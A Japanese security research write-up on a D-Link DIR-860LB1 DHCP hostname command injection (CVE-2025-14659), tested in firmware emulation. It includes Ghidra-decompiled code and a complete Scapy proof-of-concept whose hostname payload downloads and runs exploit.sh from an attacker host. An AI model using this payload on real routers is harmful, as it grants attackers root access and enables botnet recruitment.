
静的解析(Ghidra)と独自のパケット生成(Scapy)により、D-Linkファームウェアにおけるroot権限でのDHCPコマンドインジェクション脆弱性(CVE-2025-14659)を実証
著者: Peter Lin
日付: 2026年5月
プロジェクト概要: CVE-2025-14659は、ファームウェアv203b03を実行するD-Link DIR-860LB1ワイヤレスルーターに存在するDHCPデーモンコンポーネントを標的としたコマンドインジェクション脆弱性を報告しました。このコマンドインジェクションにより、攻撃者は悪意のあるホスト名でDHCPクライアントが既存のリースを更新する際に、対象ルーター上でroot権限による任意のコマンドを実行できる可能性があります。私はDIR-860LB1デバイスのファームウェアを抽出し、Ghidraを用いた静的解析を通じてDHCPデーモン(udhcpd)に存在する欠陥を特定します。その後、FirmAEのようなエミュレーションエンジンを利用してこのルーターの環境をエミュレートし、この標的に対する概念実証攻撃を実証します。
udhcpd (DHCPデーモン)Ghidraでudhcpd_main関数を確認すると、脆弱性はcase 3 (DHCPREQUEST)ブロックの内部に存在します:
get_option(auStack_254, 0xc)を使用してクライアントパケットから**DHCPオプション12 (ホスト名)**を取得します。sprintf()を介して文字列バッファに直接格納されます:
sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
system()呼び出しに渡します:
system(acStack_454);
デーモンはrootとして実行されるため、ホスト名にシェルメタ文字(;や|など)を追加することで、攻撃者は任意のシステムコマンドを実行できます。
cve_poc.py)この実用的なScapyスクリプトは、インジェクションされたホスト名ペイロードを含むリース更新を要求する悪意のあるクライアントをシミュレートします:
from scapy.all import *
# ===== Configuration =====
iface = "tap1_0"
mac_address = "0a:6f:8c:38:03:52"
requested_ip = "192.168.0.150"
dhcp_server_ip = "192.168.0.1"
attacker_server = "192.168.0.150:12345"
# =========================
# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))
dhcp_request = (
Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=mac_bytes, xid=0x81de4932) /
DHCP(options=[
("message-type", "request"),
("requested_addr", requested_ip),
("server_id", dhcp_server_ip),
("hostname", hostname),
"end"
])
)
print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")
実際に悪用された場合、攻撃者はこの脆弱性を以下の目的で利用できます:
/tmp)に直接インストールし、ハードウェアをDDoSネットワークに組み込む。免責事項: このプロジェクトは、教育目的、ポートフォリオ構築、および防御的セキュリティ研究のために厳密に作成されています。